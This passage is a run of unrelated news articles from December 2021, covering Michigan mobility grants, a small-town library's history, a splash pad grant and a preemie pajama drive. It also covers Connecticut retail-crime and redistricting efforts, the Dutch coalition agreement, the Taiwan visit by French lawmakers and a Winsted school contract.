$14.1 million for a Nursing Home Strike Teams grant to help older Michiganders stay safe in nursing homes. $10 million to support teacher recruitment, training, development, and retention . $6.9 million for Michigan State Police to help them continue protecting public safety. ### Governor Whitmer Announces Grants to Bolster Mobility Industry and Increase Accessibility in the State Governor Whitmer Announces Grants to Bolster Mobility Industry and Increase Accessibility in the State FOR IMMEDIATE RELEASE December 15, 2021 Contact: Press@michigan.gov Governor Whitmer Announces Grants to Bolster Mobility Industry and Increase Accessibility in the State More than $618,000 in grant funding awarded in second round of Michigan Mobility Funding Platform helping to facilitate programs in Southeast Michigan, Washtenaw and Ingham Counties LANSING, Mich. - Governor Gretchen Whitmer announced today the second round of Michigan Mobility Funding Platform grants, which will support initiatives that underscore Michigan's commitment to providing more accessible, equitable and sustainable mobility options. Seven mobility companies - AbleLink Smart Living Technologies, Fermata Energy, iSmartWays, Lazarillo, Mitsubishi Electric Automotive America, Michigan State University and Stantec - received more than $618,000 in funding to deploy pilot mobility projects in Michigan that will help augment electric vehicle (EV) adoption as well as address various mobility barriers throughout the state. "These grants and the projects they fund are helping us put Michiganders first, growing our economy and positioning Michigan as a leader in the development and implementation of safe, sustainable mobility solutions," said Governor Whitmer. "Through these community-led initiatives and technologies, our residents will be empowered to take control of their transportation options with more accessible and affordable solutions that will lead to a greater quality of life here in Michigan." Launched by the Office of Future Mobility and Electrification, in partnership with the Michigan Economic Development Corporation and Michigan Department of Transportation, the Michigan Mobility Funding Platform provides grants to mobility and electrification organizations looking to deploy solutions in the state of Michigan. "Michigan is leading the charge in mobility innovation, developing solutions that not only address transportation challenges here in Michigan, but help solve universal issues by testing, developing and deploying technologies with meaningful real-world applications," said Trevor Pawl, Chief Mobility Officer with the Office of Future Mobility and Electrification. "We are pleased to further support mobility innovators and their initiatives through these grants, as they represent both Michigan's commitment to collaboration as well as its focus on supporting and next-generation startups and technologies." Today's announcement of the second round of grants through the Michigan Mobility Funding Platform follows the news of the first round grant winners in September 2021, when $440,000 was awarded to five projects. With these seven new grants, a total of $1,058,690 has been awarded through the program in 2021. The Michigan Mobility Funding Platform grants focus on catalyzing and scaling mobility solutions that improve environmental sustainability by encouraging electric vehicle (EV) adoption and the buildout of EV charging infrastructure, alleviate mobility barriers and increase access to affordable and reliable transportation options and modernize existing transportation systems. OFME has partnered with NextEnergy and Newlab to help review and administer grant applications, which are accepted on a rolling basis at michiganbusiness.org/mobility-funding. Michigan Mobility Funding Platform Grant recipients are as follows: AbleLink Smart Living Technologies ($100,000 - Wayne, Oakland. Macomb and Washtenaw Counties) In collaboration with W.A.V.E (Western-Washtenaw Area Value Express), Programs to Educate All Cyclists (PEAC) and Suburban Mobility Authority for Regional Transportation (SMART), AbleLink Smart Living Technologies will help make independent travel more accessible to individuals with cognitive disabilities or those experiencing cognitive decline by implementing its WayFinder Ecosystem into the transit systems serving Wayne, Oakland, Macomb and Washtenaw counties. With the Ecosystem in place, users who typically have challenges learning fixed transit routes will be able to safely access and learn routes and build confidence in their independent transportation skills. "For a person with cognitive disabilities, being able to ride the bus by yourself offers the opportunity to get a job, visit friends and family, and the freedom to go where you want - when you want," said Daniel K. Davies, Founder and President, AbleLink Smart Living Technologies, LLC. "We are excited to begin this effort to deploy the WayFinder travel support system for residents of Southeast Michigan. We appreciate the interest of Michigan's Office of Future Mobility and Electrification in exploring this innovative technology to help overcome barriers to independent travel." Fermata Energy ($93,690 - Detroit) In partnership with Sway Mobility and Bedrock, Fermata Energy will utilize a Nissan LEAF electric vehicle (EV) to provide mobility and building load management at a Bedrock development site in Detroit's Corktown neighborhood. Specifically, Fermata Energy's bidirectional EV charger and proprietary energy management software will help manage energy costs with Sway Mobility's equitably accessible carshare-as-a-service. The project aims to provide low-cost, clean mobility to Corktown residents who would not otherwise have access to EVs, while providing electricity cost savings for businesses through vehicle-to-building (V2B) charge management. "Michigan is at the core of the electric vehicle revolution," said David Slutzky, founder and CEO, Fermata Energy. "While everyone is focused on range, Fermata Energy is focused on how parked EVs can power buildings and the grid through our vehicle-to-everything (V2X) technology, and how we can help make EVs more affordable. Our company is grateful to have this opportunity to work with the State of Michigan and be a part of the Michigan Mobility Platform." iSmartWays ($100,000 - Detroit) iSmartWays is partnering with The Connected and Autonomous Driving (CAR) Lab at Wayne State University, WSP USA and Qualcomm to deploy connected intersections on the University's campus in Detroit's Midtown area, as well as connectivity technology on the University's fleet vehicles. The goal of the project is to improve safety, reduce congestion, optimize traffic flow and improve fleet vehicle arrival times. "We are very excited to deploy connected intersections in Detroit Midtown," said Walter Espinoza, vice president of operations, iSmartWays. "Together with our partners, we will also deploy our C-V2X technology on university fleet vehicles and build a real-world living lab environment where partners and other ecosystem players can research and validate future Cooperative Intelligent Transportation Systems solutions. We are very appreciative of the financial support provided by the Office of Future Mobility and Electrification, Michigan Economic Development Corporation and Michigan Department of Transportation under the Michigan Mobility Funding Platform." Lazarillo ($75,000 - Detroit) Lazarillo will work to improve mobility and accessibility for people with visual disabilities living in key areas and neighborhoods within Detroit, such as Corktown, Midtown, Mexicantown and Downtown. In partnership with Newlab, Ford, Eyelearn and public transit groups including the Detroit Department of Transportation (DDOT), Suburban Mobility Authority for Regional Transportation (SMART), Qline and the People Mover, Lazarillo will enhance geolocation services for public transportation systems in Detroit as well as map street intersections, sidewalks and businesses in the area to help users with visual impairments reach their destinations with more precision and navigate city life more safely. "The team at Lazarillo is so excited and grateful for the opportunity provided by this grant," said Rene Espinoza, founder and CEO, Lazarillo. "It's going to help us reach and support more people with disabilities in Michigan, and help small businesses improve their accessibility in-person and online." Mitsubishi Electric Automotive America ($150,000) Mitsubishi Electric Automotive America, in collaboration with Meijer, will test and deploy autonomous vehicle infrastructure that will enable Meijer distribution centers to automate the movement of its trailers around distribution center lots. The program helps address ongoing driver and labor shortages, and could ultimately be applied at other distribution centers, ports and public infrastructures. "Innovation has always been a driving force in the way we do business at Meijer," said Mike Graham, senior vice president of Supply Chain and Manufacturing, Meijer. "This pilot program with Mitsubishi Electric Automotive America has the potential to provide more efficiency in our operations, while also offering a look into the future of autonomous vehicle technology." "The support of the MEDC has been invaluable throughout this process," said Mark Rakoski, vice president, Mitsubishi Electric Automotive America. "The selection for this grant and collaboration with Meijer really accelerated the project and allowed us to deploy our technology right here in Michigan." Michigan State University ($100,000 - Ingham County) Michigan State University, together with Qnergy Co., Bollinger Motors and Ingham County, will develop a mobile waste-to-electricity solution to allow small- and medium-scale farm operations to convert organic wastes into electricity for electric vehicles or farm equipment. The project will help meet the ever-growing demand for energy while alleviating negative environmental impacts by reducing greenhouse gas emissions and protecting water resources. "The system developed by this project to link rural biogas generation and rural electric vehicle charging solutions could lead to a win-win-win solution for rural communities, the electric vehicle industry and the environment," said Dr. Wei Liao, professor and director, Anaerobic Digestion Research and Education Center, Michigan State University. Stantec ($100,000 - Oakland County) Stantec - along with partners POCO Labs, Shyft, evTS, Interplai, Nino Salvaggio, Wygo, General Motors, Aon and Amazon Web Services - will work to pilot an automated vehicle delivery program for groceries in Troy. Through the project, Stantec will optimize vehicle and delivery route designs for automated grocery delivery; test system engineering requirements and processes; and share and scale results. "Automated vehicle grocery delivery has tremendous potential to increase efficiency and safety, and alleviate congestion in our cities," said Corey Clothier, founder and director, Stantec GenerationAV. "This is an exciting pilot project to learn more about how automated technology can positively impact peoples' lives, and boost Michigan's reputation as America's mobility innovator." Learn more about how Michigan is leading in transportation mobility and electrification visit www.michiganbusiness.org/mobility. ### Just by looking at it, you can tell the Sleeper Public Library in Ubly must have a story behind it. The mostly wooden interior lends a sense that youre standing in an old building thats been through a lot. And then you look in a corner and see a literal vault door, which now leads to a small movie room, and you start wondering what this place was before it was a library. Its only when you start researching, though, that you find out just how much this one small building has gone through to become what it is now. The building originally began as a bank owned by Albert Sleeper, who would later become Michigans 29th governor. In 1908, he and his wife, Mary, donated 1,500 books for a library section above the bank. And because Sleeper was the owner, the space was completely rent free. In 1930, four years before his death, Sleeper sold his interest in the bank to Citizens Bank. Following his death, The Citizens Bank went into receivership. His widow deeded the real estate to Fred H. Brown for only $25. However, Fred and his wife Ellen Brown later sold the property to Hubbard State Bank. During all these corporate trades, the library section still occupied the rooms over the bank. However, the books were moved in the '40s, when the village council decided to convert the village hall into a library. So, the books stayed there for a couple decades, until the early 1980s, when discussions opened back up for a new library location. It was decided that the former bank building would be completely repurposed as a library and the conversion was completed in 1983. However, the changes for the library didnt stop there. In 1990, the village trustees voted to buy the former drug store, which had been adjoined to the library building, thinking of future expansion. It was ultimately outfitted as a senior citizens center, using a grant of $500,000. Despite all the additions, repairs, and remodeling thats been done to it, the librarys interior still retains a sense of character. Its technically classified as a historical building and it feels like one in the best way possible, with warm lighting in an environment of mostly wood. Theres even a vault that was left over from the bank days that was turned into the Movie Vault, which adds to the feeling that youre an old, comfortable place thats stood for generations. Granted, its been redone, said library Director Barbara Butch. But the floors a little squeaky and, you know those are things that you dont get in those new buildings. Completing the comfortable, inviting atmosphere is a sleepy cat named Booker. Originally a stray kitten, Booker was taken in by the library staff and has been a staple of the building for the last decade. According to Butch, some people dont even come to the library for the books; they come to see and pet the stand-offish, but friendly, Booker. The library and connected senior center play host to many groups and events, including Bible studies, study groups, and children's events, such as a planned story time hour the library is putting together. With only two full-time employees, the library is not busy and mostly quiet, especially since coming out of the COVID lockdown. Its been a learning curve with COVID, Butch said. Because things people used to use here, they found other avenues when we were closed, so its taking a little longer to get them back. However, the library still stands as a staple of the community and is kept open by the dedication of a core group of supporters. Without that support, we wouldnt be here, Butch said. Whether as a bank or a library, 2236 E. Main Street has been a staple of Ubly for more than a century. It gives the impression of a solid presence, something that has always been there and always will be. Not every city or town has a place like that; its something to be valued. BIG RAPIDS The City of Big Rapids will soon be the beneficiary of a grant award of $238,600, helping to cover some of the total cost of the Hemlock Park Splash Pad, which tops out at $477,250. Big Rapids was one of 22 community and state parks, trails and sports facilities across the state to receive a share of the $7,790,400 given out in the Land and Water Conservation Fund (LWCF) via Michigans Department of Natural Resources (DNR). The Land and Water Conservation Fund, along with other important grant programs administered by the DNR, continues to provide vital access to Michigans out-of-doors, DNR Director Dan Eichinger said. As far as Big Rapids is concerned, the splash pad project will have a 5,20-square-foot hourglass-shaped water display in a central position in the park. The conservation of water will be facilitated via a 10,000-gallon water reservoir tank and pump, which is said to help re-purpose greywater from the pad for park irrigation. This DNR Land and Water Conservation Fund grant will allow the city to build a splash pad that is not only universally-accessible, but environmentally responsible as well, Big Rapids city manager Mark Gifford said. Receiving the highest score out of 34, LWCF grant applications provides an endorsement that the splash pad project is not only great in our eyes but is exceptional in the eyes of those working at the state level. Support for the Hemlock Park Splash Pad project has been consistent ever since a group of community members formed the Hemlock Park Improvement Project Committee in 2019. More than $500,000 has been raised by the committee since September 2020. Over $130,000 of these private funds are going straight to the new splash pad. This is a great day for the community of Big Rapids, Jon Coles, chair of the Hemlock Park Improvement Committee, said. We are overjoyed for the residents and families of our community. The project will be a point of pride for the city and for all the generous donors that contributed. Individuals or businesses who would like to learn more about supporting the Hemlock Park Improvement Project should email HemlockParkImprovementProject@gmail.com. Recognition opportunities are still available. For the 11th year in a row, the PJs for Preemies drive is collecting sets of pajamas, crib sheets, socks, and other items for babies up to 3 months old. With the assistance of the Frankenmuth Credit Union, the drive will be receiving donations at certain branch locations until January 31, 2022. The drive began 11 years ago, when Christi Bauman had her son prematurely seven and a half weeks early. He was 4 pounds, 3 ounces and the only thing the hospital had for him to wear was a onesie made for a 3-month-old, which was too big for a baby his size. After that, Bauman figured that this was probably a problem that wasnt being filled by anybody since hospitals rely exclusively on donations for all kinds of clothing, including diapers. Everybody out there has got to know somebody, or experienced it themselves, whos had a baby in the (intensive care unit), she said. She spoke with her employer at the time and they agreed to help sponsor a drive for preemie pajamas. Her current employer, Garber Automotive, is also a helpful partner in the drive. The donations will all go to the Neonatal Intensive Care Unit at Covenant Hospital in Saginaw, the northernmost intensive care unit of its kind in the state of Michigan. An estimated 800 to 900 babies go through the NICU every year. Any babies born north of Saginaw get brought to Saginaw, Bauman explained. Initially, Bauman ran the operation completely on her own. However, about six years ago, she met Danielle Socier, who became her copartner in the drive. Socier had had a similar experience to Bauman, having given birth to triplets at 33 weeks in the NICU nine years ago. Rather than presents from their friends, her children have received preemie outfits to send to the NICU. My kids have been stellar, she said. They forego getting birthday presents. Its neat too, to watch them; when a package comes in the mail, they take turns opening them. Socier and Bauman have worked as a duo until last year when the Frankenmuth Credit Union began providing some of their locations for donation drop-offs. This will be the second year the credit union will be lending its help. Bauman is always immensely thankful for those who donate every year. You have no idea what it means to the parents of any baby thats in the NICU, she said. Its a huge amount of generosity from the community. According to Jenny Bickle, from the credit unions marketing department, theyre hoping to get 2,500 donations this year. Theyll be collecting from their Bad Axe and Caro locations, as well as eight others, mostly in the Saginaw area. More information can be found at www.pjsforpreemies.com on locations and specifics for accepted donation items. Senate Appropriations Committee Chairman Jim Stamas recently voted for legislation lawmakers say will make Michigan more competitive for new investment and jobs. This is about giving Michigan better tools to attract new opportunities and investment to our state, stated Stamas, R-Midland. The Make it in Michigan Plan is accountable and affordable and would help us compete for long-term, high-wage jobs. The plan is budgeted for in advance, increases strong repayment provisions if companies fail to meet their end of the agreement, and features detailed reporting requirements to the Legislature to ensure the program is meeting its goals and taxpayer dollars are being responsibly invested. Photo provided/Lake Huron MODIS imagery After numerous power outages statewide Saturday due to 50 mph wind gusts, more winds, possibly even stronger along the lakeshore in the north, are expected to blow through Wednesday night into Thursday, according to the National Weather Service, bringing some downed trees and power outages. "Prepare to tie down outdoor Holiday decorations," the NWS stated in a Facebook post. "Winds will begin to increase Wednesday night into Thursday with sustained winds to 20-30 mph expected, gusting up to 40-50 mph. Stronger wind gusts to 60 mph will be possible, particularly along the lakeshore around Muskegon, Ludington and locations to the north." As some of the largest retailers press Congress for a law to stop the online sale of stolen merchandise, Gov. Ned Lamont and Attorney General William Tong are convening a task force to thwart organized retail crime rings in Connecticut by having government entities work directly with the private sector. Last week, the CEOs of some of the largest retailers in the country pressed Congress to vote on The Inform Act. An acronym for Integrity, Notification, and Fairness in Online Retail Marketplaces, the Inform Act would require online marketplaces to collect bank account numbers of third-party sellers that hit a certain threshold of volume on their platforms, as well as copies of ID cards like drivers licenses and contact information. The law would apply to those who sell 200 new or unused products annually with at least $5,000 in aggregate revenues. Violations would expose individuals or businesses to Federal Trade Commission penalties intended to thwart unfair or deceptive business practices. Online marketplaces would be required to suspend the account of any high-volume sellers that fail to re-certify their information at least annually. The Inform Act is a beginning step, U.S. Sen. Richard Blumenthal, D-Conn., said Tuesday in an interview with Hearst Connecticut Media. Consumers ought to have confidence that the products they buy online are not counterfeit, unsafe or stolen. Im very interested in holding the tech platforms accountable. At a CVS Pharmacy in West Hartford on Wednesday morning, Lamont and Tong announced plans to seek more cooperation from big tech firms to combat organized retail crime. On Tuesday, Tong told Hearst Connecticut his expectation that online retailers like Amazon and eBay do more to identify those selling fenced goods and alert authorities, whether through artificial intelligence or people scanning transactions for red flags. Im giving them the opportunity to show me that they are willing to make the investment of resources and time and energy to stopping the flow of illegal goods, Tong said. An Amazon spokesperson told Hearst Connecticut on Wednesday that the company supports federal legislation to tackle the problem. Amazon spends more than $700 million annually to ferret out fraud and abuse on its platform, according to the spokesperson, and implemented a video conferencing policy last year to verify the identify of sellers. Amazon does not allow third-party sellers to list stolen goods in our store, and we work closely with law enforcement, retailers, and brands to stop bad actors and hold them accountable, including withholding funds, terminating accounts, and making law enforcement referrals, an Amazon statement reads. We regularly request invoices, purchase orders, or other proofs of sourcing when we have concerns about how a seller may have obtained particular products that they want to sell. On Wednesday, Tong noted the sophistication of bigger bosses in his words who are recruiting thieves off the street locally and then selling stolen merchandise online, whether pricey items like digital devices or basics like shampoo. Wayne Pesce, president of the Connecticut Food Association, asked local police departments to consider stationing squad cars regularly in retail lots this holiday season as a deterrent. After Illinois Attorney General Kwame Raoul formed a task force in September to address organized retail crime by coordinating the efforts of detectives, retailers and online merchants, Raoul announced last week the task forces first major bust in recovering millions of dollars of merchandise squirreled away in self-storage facilities in the Chicago area. In an early December press conference, Raoul said people can be alert for clues on whether items for sale online might be hot, whether priced far below competing products or other telltales like the lack of any warranty option for expensive products like appliances. This is something thats evolving for law enforcement nationally, Raoul said. We cant do it alone. In 2010, the Connecticut General Assembly made organized retail theft a class C felony in cases where thieves sell at least $10,000 of merchandise, and a class D felony otherwise. The maximum penalties are $10,000 and 10 years in prison for class C felonies, and five years and $5,000 for class D. Blumenthal argues that online sellers enjoy virtually complete immunity due to an element of federal law designed to give them some protections in instances where their platforms are used by third parties for illicit purposes. The initial federal legislation was proposed last spring by U.S. Sen. Dick Durbin, D-Ill., and Sen. Bill Cassidy, R-La., along with U.S. Rep. Gus Bilirakis, R-Fla., who later joined with Rep. Jan Schakowsky, D-Ill., on a version of the legislation in the House of Representatives. Online marketplaces are the No. 1 place for these professional crews to dispose of their products, said Ben Dugan, director of retail crime prevention and corporate investigations for CVS based in Woonsocket, R.I., speaking at a November hearing of the U.S. Senate Judiciary Committee. This is not a big-city crime this occurs in all 50 states. Thefts and organized retail crime occur just as much in low-crime suburban neighborhoods as they do in Americas largest cities. While Dugan praised eBay for its efforts assisting in investigations, he argued no online marketplace has adequate transparent systems to prevent the criminal resale of stolen or counterfeit products. Connecticut is home to one company in Potoo Solutions that polices Amazon and other websites for any bad actors among third-party sellers. More than 500 product companies retain the Norwalk firm to protect their brands. CEO Fred Dimyan said Amazon and eBay have been mostly ahead of Congress on this, but crime rings are able to avoid detection by stealing in mass quantities and then flipping those goods online in small batches to evade detection. Sometimes the person selling it and the person stealing it are different people, Dimyan said Tuesday. You have a lot of people selling on the online platforms that are looking for discounts on an item, and now you have those organized retail crime units selling low quantities to those sellers. It could be quite sophisticated and nearly impossible to ... track and tie it all together. Tong said Amazon, eBay and other companies can start by sharply expanding the resources they are committing. My response to, Well, this is hard, is Well, its your job, Tong said. Its your responsibility we dont want excuses, we want action. Updated from a initial version to include comments from Wednesday press conference in West Hartford and an Amazon statement. Alex.Soule@scni.com; 203-842-2545; @casoulman The magic number for Connecticuts congressional map is 721,188. Thats the population in each of the five soon-to-be-redrawn congressional districts that the group of nine members of the state Reapportionment Commission is negotiating behind closed doors. The new map has to reflect a shift of residents over the last 10 years, because of an apparent westward migration of 21,000 people who moved from seventh-term U.S. Rep. Joe Courtneys 2nd Congressional District in eastern Connecticut. On the other side of the state, there are now about 25,000 too many residents in the 4th District of the southwest, where U.S. Rep. Jim Himes is in his sixth two-year term. But its a complicated political puzzle, in which one change can create a cascade of associated shifts in boundaries, so some cities along the current congressional borders might find themselves entirely or partially moving into a new district. Twenty-year U.S. Rep. Rosa DeLauros New Haven-centric 3rd District needs about 5,000 more people, so the Reapportionment Commission could add a larger portion of Shelton - which is mostly in the 4th District - to the sliver of that city along the Housatonic River that she already represents. Or the district could move into Oxford, the current northeastern limit of the 4th Distict. The 5th District of northwestern Connecticut needs to subtract about 5,000 people, so second-term U.S. Rep. Jahana Hayes might see a portion of Torrington move into U.S. Rep. John Larsons Hartford-centric 1st District, which needs about 5,000 more people for the new political map that will remain for 10 years, until after the 2030 Census. Its a game of political dominoes, or Whac-A-Mole, in which the state Reapportionment Commission on Tuesday reached their constitutional deadline without a deal beyond the recently approved new lines for state Senate and House of Representatives districts. During an afternoon meeting, the commission agreed to ask Attorney General William Tong to petition the state Supreme Court to extend their deadline until Dec. 21. Four Democratic and four Republican leaders have been meeting behind closed doors on the negotiations and in recent weeks a ninth member, John McKinney, a former Republican senator, has been added as a potential tie-breaker. State Senate Minority Leader Kevin Kelly, R-Stratford, noted that the delay in the U.S. Census getting new population totals in August instead of the usual April, put the effort months behind schedule. We still did phenomenal work getting between the four caucuses to get at least the House and Senate maps across the line and now the focus turns to congressional maps, Kelly said during Tuesdays brief, virtual meeting, which was marred by audio problems. Senate President Pro Tempore Martin Looney, D-New Haven, said the effort to extend the deadline was also made in 2011. We certainly are in unprecedented times, with getting this data, I think, roughly five or six months later than its normally been done over the past decades, said House Minority Leader Vincent Candelora, R-North Branford. Given these unprecedented circumstances, it caused us to have a very truncated process. We havent had the time to put the effort in, to negotiate in good faith, a congressional map. So, looking at the current map, Guilford in the 3rd District on the shoreline, or Glastonbury, mostly in the 1st District with a portion in the 2nd District, would be likely spots for expanding the 2nd Districts footprint. But bumping some of the the 32,500 people from Glastonbury into the 2nd District would mean the 1st District, which Larsen has represented since 1999, would need more people. Pushing the 1st District west means the 5th District would have to move south. And Ridgefield, with a population of about 25,000, would be ripe to move up into the 5th District from the 4th Districts northwest corner. All signs point to the 5th District as ripe for most of the revisions and possibly make it the most-competitive for Republicans, who havent held a congressional seat since Himes defeated Christopher Shays in 2008. And while Connecticuts legislative leaders have agreed that the redistricting process so far has been fair, Cheri Quickmire, executive director of Common Cause in Connecticut, the election watchdog organization, said the secret aspect of negotiations between Republicans and Democrats isnt good for public perception of the effort. I found this redistricting process, however well-intentioned, to be far from transparent, Quickmire said Monday night. It has not been been transparent, nor has it been accessible to the public. The one public hearing over Zoom was well intended, but the ones held in the district were attended by only a handful of people. That left few people the chance to talk about the uniqueness of their districts, leaving lawmakers to make the decisions. She said that as the final maps are negotiated over the next few weeks, the term communities of interest will be key in drawing new congressional districts. Quickmire noted that while many Republican-led state legislatures around the country have been gerrymandering districts in favor of GOP interests, Connecticut, while fairer overall because of the bipartisan makeup of the commission, seems content in keeping incumbents in office. kdixon@ctpost.com Twitter: @KenDixonCT THE HAGUE, Netherlands (AP) The leaders of four political parties set to join forces in the next Dutch ruling coalition pledged Wednesday to tackle thorny problems including climate change and housing shortages and to strengthen education and a health care system that has been stretched almost to breaking point by the COVID-19 pandemic. They also vowed to work to win back public trust in government and politics that has been eroded by scandals, polarization, frustration in parts of society at measures to tackle the pandemic and at the nine months it took parties to reach the coalition accord following a March 17 election. Caretaker Prime Minister Mark Rutte, who is now set to begin a fourth term in office early next year, said the coalition would seek to work together with society and with our political colleagues in parliament to implement reforms. The plans that include tax cuts, almost free child care for working parents, a return of grants for higher education students, labor market reforms and a plan to build about 100,000 new homes each year, will cost billions in this country long known for its fiscal frugality. The policies were outlined in a 47-page document titled Looking after each other, looking forward to the future. One of its key goals is tackling the climate crisis and pollution emissions, including the ambition to cut carbon emissions by at least 55% by 2030 on the way to becoming climate neutral by 2050. As part of the climate policy, the coalition said it would set up a 35-billion euro ($39 billion) climate and energy transition fund for the coming decade, appoint a minister for climate and energy and put in motion steps for the construction of two new nuclear power stations as well as stimulating renewable energy production. Climate group Greenpeace welcomed parts of the plan, but said more was needed, including concrete measures to cut carbon emissions. It said it was disappointed to see the emphasis on nuclear energy, but voiced skepticism about whether the nuclear plan would materialize. The coalition parties also pledged to invest in all levels of the education system, tackle inequalities and intolerance in society and to fight organized crime amid fears about the growing power of drug gangs. The issue was thrown into sharp relief over the summer with the slaying of well-known campaigning reporter Peter R. De Vries on an Amsterdam street. While the parties pledged to invest in higher salaries for health care workers, opposition parties slammed them for what they called cuts in the long-term health budget. On foreign policy, the coalition said it will work for a more decisive, economically stronger, greener and safer European Union with more transparent decision making. It also wants to promote international cooperation, strengthen the trans-Atlantic alliance and tackle international espionage. The document signaled the beginning of the end of a drawn-out process to form a new government. Rutte is set to lead a coalition made up of his conservative People's Party for Freedom and Democracy, together with the pro-European D66, the center-right Christian Democratic Appeal and centrist Christian Union. Together, they command a narrow majority in the 150-seat lower house of Dutch parliament, but are in the minority in the upper house. Rutte, 54, has already led three coalitions and is set to become the Netherlands' longest serving leader despite narrowly surviving a no-confidence motion in parliament in April. His fourth Cabinet will be made up of the same parties as his third, which ended its term early in January when all ministers resigned to take political responsibility for a scandal involving the countrys tax department wrongly labelling as fraudsters thousands of parents claiming child benefits. Rutte is now expected to be appointed to oversee the allocation of Cabinet portfolios. That process will likely last until early next year when the new government can be formally installed. The presentation of the deal came just under nine months after the March general election, making the coalition talks the longest in Dutch history. But they were still well short of the record set in neighboring Belgium. In December 2011, Belgium cobbled together a government after 541 days of negotiations. Johan Remkes, one of the officials who steered the talks, said the process needs to be examined. The run-up to the substantive negotiations was excessively long," he said. "Once the dust has settled, that requires a solid evaluation. THE HAGUE, Netherlands (AP) The European Union drugs regulator said Wednesday that people 18 and older can receive a booster shot for the Johnson & Johnson COVID-19 vaccine at least two months after their initial shot of the one-dose vaccine. The European Medicines Agency also said the J&J vaccine can be used as a booster dose in people who have had two shots of the vaccines made by Pfizer and Moderna. TAIPEI, Taiwan (AP) A group of six French lawmakers arrived in Taiwan for a five-day visit on Wednesday, following a similar trip led by a group of French parliamentarians in October that China sought to discourage. Francois de Rugy, the head of the Taiwan Friendship group in the National Assembly, the lower house of France's Parliament, is leading the latest delegation's visit, which will include meetings with Taiwanese President Tsai Ing-wen and other senior government officials. We wish to have exchanges on all dimensions of the relations between Taiwan, the EU and France on the economy and culture and all the issues at stake for our countries, de Rugy told reporters at the airport. In October, another group of French lawmakers led by Sen. Alain Richard met with Tsai, Taiwanese economic and health officials, and the Mainland Affairs Council. That visit was part of regular parliamentary exchanges that had been ongoing for years. China tried to get the previous visit called-off, with its embassy in France saying ahead of time that it would not only damage Chinas core interests and undermine Chinese-French relations, but would also impact Frances own "reputation and interests. China claims Taiwan as part of its national territory and says the self-ruled island democracy should not have official government exchanges with other countries. Taiwan, however, has been stepping up exchanges with countries that don't officially recognize it as a country. Chinese pressure has reduced the number of Taiwan's diplomatic allies to just 14. Speaking to reporters about the visit, Chinese Foreign Ministry spokesperson Zhao Lijian on Wednesday reiterated that China firmly opposes any forms of official and political exchanges between Taiwan and countries having diplomatic ties with China." Zhao called on countries to earnestly abide by the one-China principle. In a commentary, the Communist Party tabloid Global Times called the visit an insignificant stunt by trivial French politicians," citing a Chinese expert. China has at times lashed out at European nations it accuses of drawing too close to Taiwan or trampling on other matters it considers its core interests." Beijing has sought to punish Lithuania, which like France a member of the European Union, after it agreed to allow Taiwan to set up a representative office in the capital Vilnius under the name Taiwan," rather than Chinese Taipei," as Beijing prefers. Beijing slapped a trade embargo on the Baltic state and has threatened multinationals that do business with it. It also withdrew its ambassador to Vilnius and expelled the Lithuanian ambassador to Beijing. On Wednesday, Lithuania's Foreign Ministry said it had closed its embassy in Beijing and pulled its last diplomat out of the Chinese capital. Lithuania was ready to continue the dialogue with China and restore the functions of the embassy to their full extent once a mutually beneficial agreement is reached, the ministry said. ___ Associated Press senior video producer Johnson Lai and videojournalist Taijing Wu contributed to this report. The report has been corrected to show the Lithuanian capital is Vilnius, not Riga. WINSTED Since he joined the Gilbert School in August, Head of School Greg Shugrue has held numerous meetings with teachers, administrators and other staff, creating new relationships within the school. Shugrue, former principal of New Milford High School, also tackled a big challenge to develop a new contract between Gilbert and the Winchester Board of Education. He and Winchester Superintendent Melony Brady-Shanley presented a new, 10-year contract this week to Gilbert and Winsted school board members. Brady-Shanley said she and Shugrue are working well together on the contract and other goals to improve the relationship between the school district and Gilbert. More work has been done collaboratively, between Greg and myself, in the last five months, than in the last five years, she said. The road to finding an acceptable, long-term contract between Winsted and Gilbert has been filled with challenges the schools in the past have operated without one, or have also approved contracts for one or three years. In 2020, both boards were unable to come to an agreement, and began the 2021-22 school year without one. Continuing disagreements over whether Gilbert should be the designated high school for the town; how it sets its tuition costs; an expectation of Winsted to pay for capital improvements to the Gilbert School; and unexpected additions to the semi-private schools budget based on enrollments have created rifts between the two boards, and were the reasons why the 2020 contract negotiations stalled. Shugrue and Brady-Shanley are determined to end all that. Last March, I went to a school budget meeting, and I left confused, Shugrue said. What I heard was a lot of us and them. Its got to be us. Im here to work for the families and the kids in Winsted and Winchester, he said. Im looking through the windshield, not the rearview mirror. Brady-Shanley said, This is a draft contract, and its not set in stone. We are open to suggestions and feedback, to create a collaborative path, going forward. What we want is a new day for Gilbert and Winchester. The head of school and superintendent first began meeting in October and reviewed the contract held by the Woodstock Academy, another semi-private school in Connecticut that has students from five districts, for comparison. Many of the items within the proposed contract are used by Woodstock, Shugrue said. The contract would be in place from July 2022 to June 2032, with a full review of the agreement in 2027. Along with the agreements for Gilbert to provide educational facilities, programs and activities for grades 7-12, the contract addresses tuition costs by setting up a calendar to report enrollment, which has been a sticking point for both boards in the past. Brady-Shanley and Shugrue propose using enrollment numbers for budget purposes, since both administrations begin their budget preparations at the start of the school year and begin committee meetings in January. By May, the Gilbert School budget is presented to the Board of Selectmen, and goes to a referendum along with the Winchester Public School budget. The contract says that regular education enrollment for each prospective year will use the Oct. 1 enrollment for grades 7-12. The enrollment will factor into the budget of The Gilbert School for each prospective fiscal year, the contract reads. The Gilbert School will invoice the (town) for the tuition costs of all students on a quarterly basis, in July, October, January and April. An enrollment count and invoice requirement in the contract would help with tuition, the school leaders said. A second enrollment count would be required in December, and again on Feb. 1, with any readjustments new students, or students who have left Gilbert. If the enrollment count is 15 percent higher or lower than the original count, Gilbert would make a $40,000 adjustment to the last bill of the year in April. Both are also proposing using zero-based budgeting for Gilbert and WPS. Mutual development of a budget timeline will be secured by Nov. 1 each year, according to the contract. Administrators will meet a minimum of three times with their respective business managers to review, discuss and prepare the budgets. After receiving feedback from the school boards and the Board of Selectmen, Gilbert and the Board of Education will review any needed adjustments together, and develop a shared, fiscal response. In other words, any financial differences in the budget will be shared by both sides. That means well build our budgets from zero, invoice by invoice, student by student, Brady-Shanley said. Are we using all our software? Do we have to pay for all the licensing? Thats how granular were going to get, Shugrue said. Regarding capital improvements to Gilbert, both leaders agreed that the best solution is to apply for state funding first, before tallying a bill and handing it to the Winchester school board. If a new roof is needed and the cost is $1 million, Gilbert will apply for the funding first and find out how much theyll receive, before any budgeting is even done, Brady-Shanley said. Several board of education members were worried about the shared fiscal response language, and others wanted to know about litigation and mediation clauses. Brady-Shanley said those would be added by an attorney once the boards were ready to approve the contract. What if were banging heads on per-pupil costs? asked Board of Education member 